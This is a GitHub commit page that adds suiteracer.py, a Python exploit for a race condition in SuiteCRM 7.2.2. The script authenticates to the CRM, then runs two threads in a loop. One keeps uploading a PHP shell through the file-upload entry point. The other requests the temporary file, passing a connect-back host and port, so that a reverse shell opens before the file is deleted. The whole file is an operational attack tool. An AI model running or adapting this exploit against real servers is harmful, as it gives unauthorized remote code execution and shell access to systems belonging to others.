Skip to content

Commit d3b389a

Browse files
author
David Davidson
committed
Create suiteracer.py
1 parent 558483f commit d3b389a

File tree

1 file changed

+134
-0
lines changed

1 file changed

+134
-0
lines changed

suiteracer/suiteracer.py

Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
#!/usr/bin/python2
2+
# coding: utf-8
3+
# Author: Darren Martyn, Xiphos Research Ltd.
4+
# Version: 20150804.1
5+
# Licence: WTFPL - wtfpl.net
6+
import threading
7+
import requests
8+
import random
9+
import time
10+
import sys
11+
__version__ = "20150804.1"
12+
clear = "\x1b[0m"
13+
14+
def type_message(message):
15+
for character in message:
16+
sys.stdout.write(character)
17+
sys.stdout.flush()
18+
time.sleep(0.02)
19+
20+
def banner():
21+
suite = """%s
22+
▄████████ ███ █▄ ▄█ ███ ▄████████
23+
███ ███ ███ ███ ███ ▀█████████▄ ███ ███
24+
███ █▀ ███ ███ ███▌ ▀███▀▀██ ███ █▀
25+
███ ███ ███ ███▌ ███ ▀ ▄███▄▄▄
26+
▀███████████ ███ ███ ███▌ ███ ▀▀███▀▀▀
27+
███ ███ ███ ███ ███ ███ █▄
28+
▄█ ███ ███ ███ ███ ███ ███ ███
29+
▄████████▀ ████████▀ █▀ ▄████▀ ██████████
30+
31+
▄████████ ▄████████ ▄████████ ▄████████ ▄████████
32+
███ ███ ███ ███ ███ ███ ███ ███ ███ ███
33+
███ ███ ███ ███ ███ █▀ ███ █▀ ███ ███
34+
▄███▄▄▄▄██▀ ███ ███ ███ ▄███▄▄▄ ▄███▄▄▄▄██▀
35+
▀▀███▀▀▀▀▀ ▀███████████ ███ ▀▀███▀▀▀ ▀▀███▀▀▀▀▀
36+
▀███████████ ███ ███ ███ █▄ ███ █▄ ▀███████████
37+
███ ███ ███ ███ ███ ███ ███ ███ ███ ███
38+
███ ███ ███ █▀ ████████▀ ██████████ ███ ███
39+
███ ███ because we be faster than unlink() ███ ███ \n""" %("\x1b[1;34m")
40+
type_message(suite)
41+
message = "%sSuiteCRM 7.2.2-max Race Condition Exploit, enabled by clueless\n patching. Version: %s, Author: Darren Martyn.%s\n" %("\x1b[1;36m",__version__, clear)
42+
type_message(message)
43+
sys.stdout.write(clear)
44+
sys.stdout.flush()
45+
46+
### login and return session object. done ONCE.
47+
48+
def get_session(base_url, username, password): # returns session object
49+
url = base_url + "index.php"
50+
session = requests.Session()
51+
data = {'module': 'Users',
52+
'action': 'Authenticate',
53+
'return_module': 'Users',
54+
'return_action': 'Login',
55+
'cant_login': '',
56+
'login_module': '',
57+
'login_action': '',
58+
'login_record': '',
59+
'login_token': '',
60+
'login_oauth_token': '',
61+
'login_mobile': '',
62+
'login_language': 'en_us',
63+
'user_name': username,
64+
'user_password': password,
65+
'Login': 'Log In'}
66+
print "\x1b[1;32m{+} Logging into the CRM...\x1b[0m"
67+
try:
68+
r = session.post(url=url, data=data)
69+
except Exception, e:
70+
sys.exit("\x1b[1;31m{-} Something failed. Stacktrace coming...\n\x1b[0m %s" %(str(e)))
71+
if r.status_code == 200:
72+
return session
73+
else:
74+
sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0")
75+
76+
### upload shell. happens a LOT.
77+
78+
def upload_shell(base_url, session, payload):
79+
url = base_url + "index.php"
80+
files={"file_1":("suiteshell.pht", open(payload, "rb").read())}
81+
data = {'entryPoint': 'UploadFileCheck',
82+
'forQuotes': 'false'}
83+
print "\x1b[1;32m{+} Uploading our shell...\x1b[0m"
84+
try:
85+
r = session.post(url=url, data=data, files=files)
86+
except Exception, e:
87+
sys.exit("\x1b[1;31m{-} Something failed. Bollocks. Stacktrace coming...\n\x1b0m %s" %(str(e)))
88+
if r.status_code == 200:
89+
pass
90+
else:
91+
sys.exit("\x1b[1;31m{-} Something went wrong...\x1b[0m")
92+
93+
### try spawn callback. this and shell up race.
94+
95+
def spawn_backconnect(shell_url, cb_host, cb_port):
96+
cookies = {'host': cb_host, 'port': cb_port}
97+
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'}
98+
try:
99+
print "\x1b[1;32m{*} Sending our payload...\x1b[0m"
100+
r = requests.get(url=shell_url, headers=headers, verify=False, cookies=cookies)
101+
except Exception, e:
102+
sys.exit(str(e))
103+
if r.text:
104+
if "got shell" in r.text: # this needs fixing so it actually exits...
105+
sys.exit("\x1b[1;31mPWNAGE COMPLETE! TOTALLY REKT!")
106+
else:
107+
pass
108+
109+
### threadable funcs
110+
def upshell(base_url, session, payload):
111+
while True:
112+
upload_shell(base_url, session, payload)
113+
114+
def hackloop(shell_url, cb_host, cb_port):
115+
while True:
116+
spawn_backconnect(shell_url, cb_host, cb_port)
117+
118+
def exploitus_logicus(base_url, username, password, payload, cb_host, cb_port):
119+
try:
120+
session = get_session(base_url, username, password)
121+
except:
122+
sys.exit("Session Not Obtained!")
123+
shell_url = base_url + "upload/tmp_logo_company_upload/suiteshell.pht"
124+
threading.Thread(target=hackloop, args=(shell_url, cb_host, cb_port,)).start()
125+
threading.Thread(target=upshell, args=(base_url, session, payload,)).start()
126+
127+
def main(args):
128+
banner()
129+
if len(args) != 7:
130+
sys.exit("usage: %s <base url> <username> <password> <payload> <connectback host> <connectback port>" %(args[0]))
131+
exploitus_logicus(base_url=args[1], username=args[2], password=args[3], payload=args[4], cb_host=args[5], cb_port=args[6])
132+
133+
if __name__ == "__main__":
134+
main(args=sys.argv)

0 commit comments

Comments
 (0)